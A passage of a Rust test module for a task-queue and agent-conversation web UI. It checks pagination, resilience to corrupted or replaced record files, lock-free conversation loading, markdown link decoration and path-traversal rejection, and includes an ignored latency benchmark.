26269        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26270        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26271        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
26272        ui.queue.put(&mut task).unwrap();
26273        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
26274        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26275        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
26276    }
26277
26278    #[tokio::test]
26279    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
26280        let home = tempfile::tempdir().unwrap();
26281        let ui = delta_test_ui(home.path());
26282        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
26283        let before = health(State(ui.clone())).await.unwrap().0;
26284        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
26285        let after = health(State(ui)).await.unwrap().0;
26286        assert_ne!(before.notifications_rev, after.notifications_rev);
26287        assert_eq!(after.notifications_unread, 1);
26288    }
26289
26290    #[tokio::test]
26291    async fn list_pages_bound_history_and_keep_dependency_evidence() {
26292        let home = tempfile::tempdir().unwrap();
26293        let ui = delta_test_ui(home.path());
26294        let queue = &ui.queue;
26295        let talks = &ui.talks;
26296        for i in 0..1000 {
26297            let id = format!("20261019-{i:06}-page");
26298            let mut task = Task::new(
26299                "task".into(),
26300                "instruction".repeat(100),
26301                PathBuf::from("/repo/magi"),
26302                Source::Human,
26303            );
26304            task.id = id.clone();
26305            if i == 0 {
26306                task.status = crate::queue::TaskStatus::Held;
26307            } else if i == 999 {
26308                task.status = crate::queue::TaskStatus::Blocked;
26309                task.blocked_by = vec!["20261019-000000-page".into()];
26310            }
26311            queue.put(&mut task).unwrap();
26312            seed_talk_at(talks, &id, "closed");
26313        }
26314        let page = serde_json::to_value(
26315            queue_page(State(ui.clone()), Query(PageQuery::default()))
26316                .await
26317                .unwrap()
26318                .0,
26319        )
26320        .unwrap();
26321        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26322        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
26323        assert!(
26324            !page["rows"][0]["stuck_roots"]
26325                .as_array()
26326                .unwrap()
26327                .is_empty()
26328        );
26329        let cursor = page["next"].as_str().unwrap();
26330        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
26331            .as_str()
26332            .unwrap();
26333        // Deleting an already enumerated file cannot shift or repeat a page.
26334        std::fs::remove_file(queue.path_of(last_id)).unwrap();
26335        let next = serde_json::to_value(
26336            queue_page(
26337                State(ui.clone()),
26338                Query(PageQuery {
26339                    before: Some(cursor.into()),
26340                }),
26341            )
26342            .await
26343            .unwrap()
26344            .0,
26345        )
26346        .unwrap();
26347        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26348        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
26349        let chats = serde_json::to_value(
26350            talks_page(
26351                State(ui.clone()),
26352                Query(PageQuery::default()),
26353                header::HeaderMap::new(),
26354            )
26355            .await
26356            .unwrap()
26357            .0,
26358        )
26359        .unwrap();
26360        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26361        assert!(chats["rows"][0].get("pending").is_none());
26362        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26363        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26364        assert_eq!(counts["held"], 1);
26365        assert_eq!(counts["blocked"], 1);
26366        assert_eq!(counts["queued"], 997);
26367    }
26368
26369    #[test]
26370    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26371        let dir = tempfile::tempdir().unwrap();
26372        let ui = delta_test_ui(dir.path());
26373        let mut task = Task::new(
26374            "task".into(),
26375            "body".into(),
26376            PathBuf::from("/repo"),
26377            Source::Human,
26378        );
26379        task.runs = vec!["run-a".into()];
26380        ui.queue.put(&mut task).unwrap();
26381        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26382        task.runs = vec!["run-b".into()];
26383        let path = ui.queue.path_of(&task.id);
26384        let modified = path.metadata().unwrap().modified().unwrap();
26385        let replacement = path.with_extension("replacement");
26386        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26387        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26388        std::fs::write(&replacement, &bytes).unwrap();
26389        std::fs::File::options()
26390            .write(true)
26391            .open(&replacement)
26392            .unwrap()
26393            .set_times(std::fs::FileTimes::new().set_modified(modified))
26394            .unwrap();
26395        std::fs::rename(&replacement, &path).unwrap();
26396        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26397        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26398        std::fs::write(&path, "broken").unwrap();
26399        assert!(ui.find_task_for_run("run-b").is_err());
26400        std::fs::write(&path, bytes).unwrap();
26401        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26402        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26403        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26404    }
26405
26406    #[tokio::test]
26407    async fn conversation_core_is_independent_of_unreadable_related_history() {
26408        let home = tempfile::tempdir().unwrap();
26409        let ui = delta_test_ui(home.path());
26410        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26411        std::fs::create_dir_all(ui.queue.root()).unwrap();
26412        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26413        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26414            .await
26415            .unwrap();
26416        assert_eq!(core.talk.id, id);
26417        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26418    }
26419
26420    #[test]
26421    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26422        let home = tempfile::tempdir().unwrap();
26423        let ui = delta_test_ui(home.path());
26424        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26425        let directory = home.path().join("workers/jobs/abcdef");
26426        std::fs::create_dir_all(&directory).unwrap();
26427        let job = crate::worker::Job {
26428            id: "abcdef".into(),
26429            sequence: 1,
26430            kind: "chat".into(),
26431            key: id.clone(),
26432            payload: serde_json::json!({ "talk": id }),
26433            generation: "test".into(),
26434            version: None,
26435            status: crate::worker::Status::Running,
26436            result: None,
26437            pid: None,
26438            created_at: 0,
26439            finished_at: None,
26440        };
26441        std::fs::write(
26442            directory.join("job.json"),
26443            serde_json::to_vec(&job).unwrap(),
26444        )
26445        .unwrap();
26446        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26447        let store =
26448            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26449        let runtime = tokio::runtime::Builder::new_current_thread()
26450            .enable_all()
26451            .max_blocking_threads(1)
26452            .build()
26453            .unwrap();
26454        runtime.block_on(async {
26455            let (release, held) = std::sync::mpsc::channel();
26456            let (started, ready) = tokio::sync::oneshot::channel();
26457            let occupied = tokio::task::spawn_blocking(move || {
26458                started.send(()).unwrap();
26459                held.recv().unwrap();
26460            });
26461            ready.await.unwrap();
26462            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26463            let bulk = ui
26464                .monitor
26465                .bulk_slots
26466                .clone()
26467                .acquire_many_owned(2)
26468                .await
26469                .unwrap();
26470            let result = tokio::time::timeout(
26471                Duration::from_secs(2),
26472                talk_core(State(ui.clone()), Path(id.clone())),
26473            )
26474            .await;
26475            // Release all blockers before assertions, including on a regression.
26476            drop(store);
26477            drop(bulk);
26478            release.send(()).unwrap();
26479            occupied.await.unwrap();
26480            let _ = secondary.await.unwrap().unwrap();
26481            let Json(core) = result
26482                .expect("transcript must bypass secondary work and the worker store lock")
26483                .unwrap();
26484            assert!(
26485                core.thinking,
26486                "read-only observation retains live worker state"
26487            );
26488            assert_eq!(core.talk.id, id);
26489            let admission_ui = ui.clone();
26490            let (release, held) = std::sync::mpsc::channel();
26491            let (started, ready) = tokio::sync::oneshot::channel();
26492            let admission = std::thread::spawn(move || {
26493                let _lock = admission_ui.talk_turns.lock().unwrap();
26494                started.send(()).unwrap();
26495                held.recv().unwrap();
26496            });
26497            ready.await.unwrap();
26498            let result = tokio::time::timeout(
26499                Duration::from_secs(2),
26500                talk_core(State(ui.clone()), Path(id.clone())),
26501            )
26502            .await;
26503            release.send(()).unwrap();
26504            admission.join().unwrap();
26505            assert!(
26506                result
26507                    .expect("display must not wait behind local admission")
26508                    .unwrap()
26509                    .0
26510                    .thinking
26511            );
26512            assert!(ui.is_thinking(&id));
26513            assert!(ui.is_thinking_observed(&id));
26514            drop(live);
26515            assert!(
26516                !ui.is_thinking_observed(&id),
26517                "a finished lease no longer appears live"
26518            );
26519            assert!(!ui.is_thinking(&id));
26520            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26521            assert!(
26522                ui.is_thinking_observed(&id),
26523                "local admission remains visible"
26524            );
26525        });
26526    }
26527
26528    #[tokio::test]
26529    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26530        let home = tempfile::tempdir().unwrap();
26531        let ui = delta_test_ui(home.path());
26532        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26533        let mut task = Task::new(
26534            "Referenced task".into(),
26535            "Unrelated instruction history".repeat(1024),
26536            home.path().into(),
26537            Source::Human,
26538        );
26539        task.id = "20261019-000000-abcd".into();
26540        ui.queue.put(&mut task).unwrap();
26541        let mut conversation = ui.talks.get(&id).unwrap();
26542        conversation.turns.push(talk::Turn {
26543            sender: Some(talk::Sender::Persona),
26544            who: talk::Who::Agent,
26545            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26546            at: conversation.created_at,
26547            attachments: Vec::new(),
26548            usage: None,
26549            breaks: None,
26550            messages: Vec::new(),
26551            posted_by: None,
26552        });
26553        ui.talks.put(&mut conversation).unwrap();
26554
26555        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26556        let markdown = serde_json::to_value(&core.turn_bodies_md)
26557            .unwrap()
26558            .to_string();
26559        assert!(markdown.contains("\"strong\""));
26560        assert!(markdown.contains("\"table\""));
26561        assert!(markdown.contains("\"bullet_list\""));
26562        assert!(markdown.contains("\"code_block\""));
26563        assert!(!markdown.contains("\"internal_link\""));
26564        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26565        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26566        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26567
26568        // Deferred decoration still resolves the same validated task, without
26569        // touching opaque code blocks or changing the original transcript.
26570        let references = ui.references.for_talk(home.path(), &conversation);
26571        let mut decorated = core.turn_bodies_md[0].clone();
26572        references.markdown(&mut decorated);
26573        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26574        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26575        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26576        assert_eq!(
26577            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26578            conversation.turns[0].body
26579        );
26580    }
26581
26582    #[tokio::test]
26583    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26584        let home = tempfile::tempdir().unwrap();
26585        let ui = delta_test_ui(home.path());
26586        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26587        let mut run = RunState::new(
26588            PathBuf::from("/repo"),
26589            "main".into(),
26590            "01234567".into(),
26591            "Useful run".into(),
26592            Config::default(),
26593        );
26594        run.save_under(home.path()).unwrap();
26595        let mut task = Task::new(
26596            "Related".into(),
26597            "body".into(),
26598            PathBuf::from("/repo"),
26599            Source::Agent {
26600                run: talk_id.clone(),
26601                node: "chat".into(),
26602            },
26603        );
26604        task.runs = vec![run.id.clone()];
26605        ui.queue.put(&mut task).unwrap();
26606        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26607        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26608        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26609        assert!(
26610            run_detail(State(ui.clone()), Path(run.id.clone()))
26611                .await
26612                .is_ok()
26613        );
26614        assert!(
26615            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26616                .await
26617                .is_ok()
26618        );
26619        // Previously indexed corruption must not masquerade as no relationship.
26620        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26621        assert!(ui.find_task_for_run(&run.id).is_err());
26622        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26623        ui.queue.put(&mut task).unwrap();
26624        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26625    }
26626
26627    #[tokio::test]
26628    async fn conversation_sections_omit_large_task_instructions() {
26629        let home = tempfile::tempdir().unwrap();
26630        let ui = delta_test_ui(home.path());
26631        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26632        let mut task = Task::new(
26633            "filed task".into(),
26634            "large instruction ".repeat(65536),
26635            PathBuf::from("/repo"),
26636            Source::Agent {
26637                run: id.clone(),
26638                node: "chat".into(),
26639            },
26640        );
26641        ui.queue.put(&mut task).unwrap();
26642        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26643        assert_eq!(sections["tasks"][0]["id"], task.id);
26644        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26645        assert!(sections["tasks"][0].get("instruction").is_none());
26646        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26647    }
26648
26649    #[test]
26650    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26651        let home = tempfile::tempdir().unwrap();
26652        let talks = Talks::at(home.path().join("talks"));
26653        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26654        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26655        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26656        assert!(resolve_talk(&talks, "../outside").is_err());
26657        assert!(resolve_talk(&talks, "abcd").is_err());
26658        assert_eq!(
26659            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26660            "20261019-000001-abcd"
26661        );
26662    }
26663
26664    include!(concat!(
26665        env!("CARGO_MANIFEST_DIR"),
26666        "/tests/web_latency/baseline.rs"
26667    ));
26668
26669    include!(concat!(
26670        env!("CARGO_MANIFEST_DIR"),
26671        "/tests/web_latency/lists.rs"
26672    ));
26673
26674    #[tokio::test]
26675    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26676    async fn web_history_latency_measurement() {
26677        use std::time::Instant;
26678        let home = tempfile::tempdir().unwrap();
26679        let ui = delta_test_ui(home.path());
26680        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26681        let mut template = ui.talks.get(&id).unwrap();
26682        template.turns = serde_json::from_value(serde_json::json!([{
26683            "who": "operator", "body": "Show the accumulated work and its current status.",
26684            "at": Timestamp::now().to_string(),
26685        }]))
26686        .unwrap();
26687        std::fs::write(
26688            ui.talks.path_of(&id),
26689            serde_json::to_vec(&template).unwrap(),
26690        )
26691        .unwrap();
26692        let count = std::env::var("MAGI_BENCH_RECORDS")
26693            .ok()
26694            .and_then(|s| s.parse::<usize>().ok())
26695            .unwrap_or(1000);
26696        for i in 0..count {
26697            template.id = format!("20261019-{i:06}-history");
26698            template.pending = "history ".repeat(2048);
26699            std::fs::write(
26700                ui.talks.path_of(&template.id),
26701                serde_json::to_vec(&template).unwrap(),
26702            )
26703            .unwrap();
26704            let mut task = Task::new(
26705                "old task".into(),
26706                "instruction ".repeat(2048),
26707                PathBuf::from("/repo"),
26708                Source::Human,
26709            );
26710            task.id = format!("20261019-{i:06}-task");
26711            ui.queue.put(&mut task).unwrap();
26712        }
26713        for baseline in [true, false] {
26714            for clients in [1, 4] {
26715                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26716                let mut samples = Vec::new();
26717                for _ in 0..12 {
26718                    let mut jobs = Vec::new();
26719                    for _ in 0..clients {
26720                        let ui = ui.clone();
26721                        let id = id.clone();
26722                        jobs.push(tokio::spawn(async move {
26723                            let start = Instant::now();
26724                            if baseline {
26725                                let response =
26726                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26727                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26728                                return (
26729                                    elapsed,
26730                                    elapsed,
26731                                    serde_json::to_vec(&response).unwrap().len(),
26732                                );
26733                            }
26734                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26735                            let secondary = talk_sections(State(ui), Path(id));
26736                            let (first, total) = tokio::join!(
26737                                async {
26738                                    let value = core.await.unwrap().0;
26739                                    (
26740                                        start.elapsed().as_secs_f64() * 1000.0,
26741                                        serde_json::to_vec(&value).unwrap().len(),
26742                                    )
26743                                },
26744                                async {
26745                                    let value = secondary.await.unwrap().0;
26746                                    (
26747                                        start.elapsed().as_secs_f64() * 1000.0,
26748                                        serde_json::to_vec(&value).unwrap().len(),
26749                                    )
26750                                }
26751                            );
26752                            (first.0, first.0.max(total.0), first.1 + total.1)
26753                        }));
26754                    }
26755                    for job in jobs {
26756                        samples.push(job.await.unwrap());
26757                    }
26758                }
26759                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26760                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26761                first.sort_by(f64::total_cmp);
26762                total.sort_by(f64::total_cmp);
26763                let n = first.len();
26764                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26765                println!(
26766                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26767                    first[n / 2],
26768                    first[(n * 95 / 100).min(n - 1)],
26769                    total[n / 2],
26770                    total[(n * 95 / 100).min(n - 1)],
26771                    samples[0].2
26772                );
26773            }
26774        }
26775    }
26776
26777    #[test]
26778    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26779        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26780        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26781        assert!(APP_JS.contains("function nextRunRequest(id)"));
26782        assert!(APP_JS.contains("function runShell(id, summary)"));
26783        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26784        assert!(APP_JS.contains("function taskShell(id, summary)"));
26785        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26786    }
26787}